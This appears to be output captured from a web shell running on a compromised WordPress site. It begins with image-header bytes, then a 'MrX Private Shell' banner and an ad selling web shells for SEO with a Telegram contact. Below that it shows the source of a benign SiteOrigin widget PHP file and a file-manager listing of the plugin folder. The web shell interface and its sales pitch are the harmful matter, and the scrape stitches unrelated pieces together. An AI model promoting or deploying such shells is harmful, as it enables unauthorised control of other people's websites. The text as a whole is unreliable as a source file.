����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Class SiteOrigin_Widget_Field_Measurement
*/
class SiteOrigin_Widget_Field_Measurement extends SiteOrigin_Widget_Field_Text_Input_Base {
/* The 'units' property is optional and defaults to the list returned by `siteorigin_widgets_get_measurements_list`.
*
* @access protected
* @var array
*/
protected $units;
/**
* The default unit of measurement if the unit of measurement isn't able to be detected. Default to px.
*
* @access protected
* @var string
*/
protected $default_unit;
protected function get_input_classes() {
$input_classes = parent::get_input_classes();
$input_classes[] = 'siteorigin-widget-input-measurement';
return $input_classes;
}
/**
* Parse a value into a unit and value.
*
* @param $value
*
* @return array
*/
protected function get_render_values( $value ) {
if ( ! empty( $value ) ) {
preg_match('/(\d+\.?\d*)([a-z%]+)*/', $value, $matches);
$num_matches = count( $matches );
}
$val = array();
$val['value'] = ! empty( $num_matches ) && $num_matches > 1 ? $matches[1] : null;
$val['unit'] = ! empty( $num_matches ) && $num_matches > 2 ? $matches[2] : null;
return $val;
}
protected function render_field( $value, $instance ) {
$value_parts = $this->get_render_values($value);
parent::render_field( $value_parts['value'], $instance );
}
protected function render_after_field( $value, $instance ) {
$value_parts = $this->get_render_values($value);
$selected_unit = $value_parts['unit'];
if ( is_null( $selected_unit ) ) {
$unit_name = $this->get_unit_field_name( $this->base_name );
if( !empty( $instance[ $unit_name ] ) ) {
$selected_unit = $instance[ $unit_name ];
}
else if ( isset( $this->default ) ) {
$default_parts = $this->get_render_values($this->default);
$selected_unit = $default_parts['unit'];
}
}
$units = ! empty( $this->units ) && is_array( $this->units ) ? $this->units : siteorigin_widgets_get_measurements_list();
?>
<select class="sow-measurement-select-unit siteorigin-widget-input"
name="<?php echo esc_attr( $this->for_widget->so_get_field_name( $this->base_name . '_unit', $this->parent_container ) ) ?>">
<?php foreach ( $units as $unit ):?>
<option value="<?php echo esc_attr( $unit ); ?>" <?php selected( $unit, $selected_unit, true ); ?>>
<?php echo esc_html( $unit ); ?>
</option>
<?php endforeach?>
</select>
<div class="clear"></div>
<?php
//Still want the default description, if there is one.
parent::render_after_field( $value, $instance );
}
public function enqueue_scripts() {
wp_enqueue_style( 'so-measurement-field', plugin_dir_url(__FILE__) . 'css/measurement-field.css', array(), SOW_BUNDLE_VERSION );
}
// This is doing sanitization and is being used to concatenate the numeric measurement value and the selected
// measurement unit.
protected function sanitize_field_input( $value, $instance ) {
//Get the property name of the unit field
$unit_name = $this->get_unit_field_name( $this->base_name );
//Initialize with default value, if any.
$default_parts = $this->get_render_values($this->default);
$unit = $default_parts['unit'];
if( isset( $instance[ $unit_name ] ) ) {
$units = ! empty( $this->units ) && is_array( $this->units ) ? $this->units : siteorigin_widgets_get_measurements_list();
if ( in_array( $instance[ $unit_name ], $units ) ) {
$unit = $instance[ $unit_name ];
}
unset( $instance[ $unit_name ] );
}
// Sensible default, if we somehow end up without a unit.
if ( empty( $unit ) ) {
$unit = empty( $this->default_unit ) ? 'px' : $this->default_unit;
}
// `strlen( $value ) == 0` should prevent 0, 0.0, or '0' from being seen as empty.
$value = ( empty( $value ) && strlen( $value ) == 0 ) ? false : ( (float) $value ) . $unit;
return $value;
}
// Get the name of the dropdown field rendered to allow the user to select a measurement unit.
public function get_unit_field_name( $base_name ) {
$v_name = $base_name;
if( strpos($v_name, '][') !== false ) {
// Remove this splitter
$v_name = substr( $v_name, strrpos($v_name, '][') + 2 );
}
return $v_name . '_unit';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| css | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| autocomplete.class.php | File | 1.79 KB | 0644 |
|
| base.class.php | File | 14.5 KB | 0644 |
|
| builder.class.php | File | 2.37 KB | 0644 |
|
| checkbox.class.php | File | 860 B | 0644 |
|
| checkboxes.class.php | File | 1.36 KB | 0644 |
|
| code.class.php | File | 1.38 KB | 0644 |
|
| color.class.php | File | 1.74 KB | 0644 |
|
| container-base.class.php | File | 3.53 KB | 0644 |
|
| date-range.class.php | File | 4.21 KB | 0644 |
|
| error.class.php | File | 538 B | 0644 |
|
| factory.class.php | File | 2.13 KB | 0644 |
|
| font.class.php | File | 1.67 KB | 0644 |
|
| html.class.php | File | 524 B | 0644 |
|
| icon.class.php | File | 6.97 KB | 0644 |
|
| image-radio.class.php | File | 2 KB | 0644 |
|
| image-size.class.php | File | 3.36 KB | 0644 |
|
| link.class.php | File | 1.9 KB | 0644 |
|
| measurement.class.php | File | 4.09 KB | 0644 |
|
| media.class.php | File | 7.81 KB | 0644 |
|
| multi-measurement.class.php | File | 3.83 KB | 0644 |
|
| multiple-media.class.php | File | 5.6 KB | 0644 |
|
| number.class.php | File | 1.44 KB | 0644 |
|
| order.class.php | File | 1.79 KB | 0644 |
|
| posts.class.php | File | 7.45 KB | 0644 |
|
| presets.class.php | File | 2.02 KB | 0644 |
|
| radio.class.php | File | 1.09 KB | 0644 |
|
| repeater.class.php | File | 5 KB | 0644 |
|
| section.class.php | File | 883 B | 0644 |
|
| select.class.php | File | 2.26 KB | 0644 |
|
| siteorigin-widget-field-class-loader.class.php | File | 3.2 KB | 0644 |
|
| slider.class.php | File | 1.33 KB | 0644 |
|
| text-input-base.class.php | File | 2.44 KB | 0644 |
|
| text.class.php | File | 331 B | 0644 |
|
| textarea.class.php | File | 843 B | 0644 |
|
| tinymce.class.php | File | 18.04 KB | 0644 |
|
| widget.class.php | File | 2.1 KB | 0644 |
|